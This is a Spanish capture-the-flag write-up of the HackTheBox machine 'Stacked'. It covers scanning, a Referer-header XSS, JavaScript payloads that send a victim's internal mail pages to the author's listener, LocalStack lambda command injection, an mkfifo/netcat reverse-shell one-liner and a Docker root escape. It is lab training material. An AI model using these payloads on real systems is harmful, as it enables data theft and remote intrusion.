Stacked - HackTheBox
Comencé con un escaneo de nmap
para detectar puertos abiertos.
┌─[root@parrot]─[/home/wackyhacker/HTB/Altered/nmap]
└──╼ cat nmap.txt
# Nmap 7.92 scan initiated Tue Apr 5 00:07:08 2022 as: nmap -sS --min-rate 5000 -v -n -p- --open -Pn -o nmap.txt 10.10.11.112
Nmap scan report for 10.10.11.112
Host is up (0.30s latency).
Not shown: 52678 filtered tcp ports (no-response), 12855 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
# Nmap done at Tue Apr 5 00:09:43 2022 -- 1 IP address (1 host up) scanned in 154.73 seconds
Efectúe otro escaneo para identificar la versión de cada servicio abierto.
┌─[root@parrot]─[/home/wackyhacker/HTB/Altered/nmap]
└──╼ cat services.txt
# Nmap 7.92 scan initiated Tue Apr 5 00:09:49 2022 as: nmap -sCV -p80,22 -o services.txt 10.10.11.112
Nmap scan report for stacked.htb (10.10.11.112)
Host is up (0.056s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 12:8f:2b:60:bc:21:bd:db:cb:13:02:03:ef:59:36:a5 (RSA)
| 256 af:f3:1a:6a:e7:13:a9:c0:25:32:d0:2c:be:59:33:e4 (ECDSA)
|_ 256 39:50:d5:79:cd:0e:f0:24:d3:2c:f4:23:ce:d2:a6:f2 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: STACKED.HTB
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 5 00:09:59 2022 -- 1 IP address (1 host up) scanned in 10.07 seconds
Tenia dos puertos abiertos: 22 y 80. De momento SSH no me servía, por lo que mire el servidor web.
Puerto 80
Hacia un Redirect a stacked.htb
, se estaba aplicando Virtual Hosting: alojar distintos dominios en una misma dirección IP.
Para poder acceder a este dominio, incluí stacked.htb
en el /etc/hosts
haciendo que este apuntase a 10.10.11.159
.
Ahora si pude ver lo que tenía.
Al parecer era un contador, nada interesante, probé inyecciones en el campo ‘email’ pero no era vulnerable.
Fuzzing
Hice fuzzing con wfuzz
para encontrar directorios:
Me encontró algunos directorios, pero no eran de importancia, efectúe fuzzing de subdominios mediante la cabecera Host
y me encontró portfolio
.
Lo incluí en el /etc/hosts
.
portfolio.stacked.htb
Esta página tenía tres secciones: Porfolio, About y Contact, todas estas estaban en la misma página.
En About encontré un botón de descarga de un archivo llamado docker-compose.yml
.
Este es un archivo YAML donde se suelen definir volúmenes, redes y servicios, este era su contenido:
version: "3.3"
services:
localstack:
container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
image: localstack/localstack-full:0.12.6
network_mode: bridge
ports:
- "127.0.0.1:443:443"
- "127.0.0.1:4566:4566"
- "127.0.0.1:4571:4571"
- "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
environment:
- SERVICES=serverless
- DEBUG=1
- DATA_DIR=/var/localstack/data
- PORT_WEB_UI=${PORT_WEB_UI- }
- LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- }
- LOCALSTACK_API_KEY=${LOCALSTACK_API_KEY- }
- KINESIS_ERROR_PROBABILITY=${KINESIS_ERROR_PROBABILITY- }
- DOCKER_HOST=unix:///var/run/docker.sock
- HOST_TMP_FOLDER="/tmp/localstack"
volumes:
- "/tmp/localstack:/tmp/localstack"
- "/var/run/docker.sock:/var/run/docker.sock"
Al parecer estaba montado en local AWS, esto me llamo la atencion por lo que lo deje en segundo plano.
XSS
En la sección Contact encontré un formulario.
Este podría ser vulnerable a XSS, intente inyectar <script>alert("XSS")</script>
pero este lo detectaba.
En este punto decidí interceptar la petición con Burp para hacer debugging
en las cabeceras de la petición.
Abrí un servidor con Python por el puerto 80 y probé a inyectar <script src="http://10.10.16.59/"></script>
en la cabecera Referer.
Y tras un pequeño intervalo de tiempo recibí una petición GET a mi servidor desde la máquina víctima.
La cabecera Referer era vulnerable a XSS.
Estrategia
Mi idea era identificar si el servidor tenía interacción con algún usuario, por lo que me cree un pequeño script en JS con el siguiente contenido:
var oReq = new XMLHttpRequest();
oReq.open("GET", "http://10.10.16.59:9999/" + document.location, false);
oReq.send();
Este lo que iba a hacer es enviar una petición GET a mi sesión de nc
por el puerto 9999 con la ruta en la que se encontraba el usuario en ese momento.
Abrí un servidor de Python por el puerto 8000 alojando request-3.js
y apunté a mi archivo JS desde el XSS.
Espere un tiempo y recibí una conexión a mi sesión de nc
en la que contenía una ruta.
Al parecer el usuario estaba en mail.stacked.htb
. Este subdominio no lo encontró wfuzz
porque operaba localmente en la máquina y no tenía acceso a el de manera externa.
El siguiente paso fue descargar el HTML de http://mail.stacked.htb/read-mail.php?id=7
y almacenarlo en index.html
.
Lo que hice fue crear otro script en JS con el siguiente código:
var oReq = new XMLHttpRequest();
oReq.open("POST", "http://10.10.16.59:5555/", false);
oReq.send(document.documentElement.outerHTML);
Este lo que hace es enviar una petición POST a mi sesión de netcat con el código HTML de la página en la que se encontraba el usuario por el puerto 5555
y almacenar este en un archivo llamado index.html
.
Apunte a mi archivo JS llamado request.js
desde el XSS y recibí una conexión a mi sesión de nc
.
Esquema de ataque:
Esta era la página con el código HTML del usuario.
Había un usuario llamado Jeremy Taint
con un hiperenlace que te redirigía a /read-mail.php?id=1
:
Esto me llamo la atención, por lo que decidí descargar el HTML correspondiente con el siguiente código JS:
var oReq = new XMLHttpRequest();
oReq.open("GET", "http://mail.stacked.htb/read-mail.php?id=1", false);
oReq.send();
var response = oReq.responseText;
var resp = new XMLHttpRequest();
resp.open("POST", "http://10.10.16.59:5555/", false);
resp.send(response);
Este envia una petición GET a http://mail.stacked.htb/read-mail.php?id=1
desde la instancia del usuario, almacenaba la respuesta en response
y hace otra petición POST a mi sesión de nc
con el contenido de la variable response
.
Apunte a mi archivo JS desde el XSS y recibí una conexión por nc
, abrí un servidor por Python y mire que tenía esta segunda página.
Había un mensaje: Hey Adam, I have set up S3 instance on s3-testing.stacked.htb so that you can configure the IAM users, roles and permissions. I have initialized a serverless instance for you to work from but keep in mind for the time being you can only run node instances. If you need anything let me know. Thanks.
Este decía que configure la instancia de S3 en s3-testing.stacked.htb
, este era un nuevo subdominio que no tenía, por lo que lo añadí al /etc/hosts
.
s3-testing.stacked.htb
Al parecer era una API de AWS, viendo esto me acordé del archivo docker-compose.yml
el cual contenía información sobre un servicio AWS en local.
Buscando vulnerabilidades de LocalStack encontre lo siguiente:
Podía abusar del parámetro functionName
en la creación de funciones lambda para inyectar mi código malicioso y así ganar RCE. Yo tenía conectividad con s3-testing.stacked.htb
el cual me permitiría crear funciones lambda.
Tras una pequeña búsqueda encontré la manera de crear una función lambda, esta se podía crear en más de un lenguaje, pero yo lo hice con Node.js.
Guarde el siguiente código en un archivo llamado lambda.js
.
exports.handler = async function(event, context) {
return "Hacked"
}
Este debía estar comprimido en ZIP.
Para crear la función debía especificarle ciertos parámetros.
Deje todos por defecto menos function-name
y zip-file
, en function-name
le inyecte mi código malicioso, y en zip-file
la ruta del ZIP que contenía lambda.js
.
El siguiente paso fue usar awscli
para interactuar con la API y así crear mi función lambda.
Se me creo mi función lambda, pero tenía que invocarla, para ello use el parámetro invoke
especificándole function-name
y exportando el resultado en un archivo llamado output
.
RCE
La ejecución remota de comandos solo se acontecía si el usuario visitaba el dashboard
, en el archivo docker-compose.yml
vi que este podría estar montado en http://127.0.0.1:8080/
pero yo no tenía acceso a él externamente, por lo que aproveche el XSS para redirigir el usuario con el objeto document.location
.
Un tiempo después recibí una petición GET a mi servidor.
Ya tenía ejecución remota de comandos, ahora solo me faltaba ganar acceso a la máquina, para ello concatené un Shell inverso con mkfifo
.
Invoque la función, redirigí al usuario y gane una Shell en un contenedor.
user.txt
Ya podía visualizar la flag del usuario.
ESCALADA DE PRIVILEGIOS
Para la escalada de privilegios me transferí pspy64
y vi las tareas que se ejecutaban a intervalos regulares de tiempo.
Vi que se ejecutaba Docker concatenando el parámetro --handler
a la hora de crear la función lambda, por lo que si creaba mi función añadiendo $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.59 443 >/tmp/f)
era muy probable que me ejecutara el comando y ganase acceso como root
por nc
en el contenedor.
Ahora podia ejecutar el comando docker
con sudo, me dirigí a gtfobins
.
Utilice el comando docker run -v /:/mnt --rm -it alpine chroot /mnt sh
para crear una montura raíz de la máquina en /mnt
.
root.txt
Me entable otro Shell inverso por netcat y me ejecute una bash al nuevo contenedor docker
en ejecución, ya pude visualizar la flag de root.
Leave a comment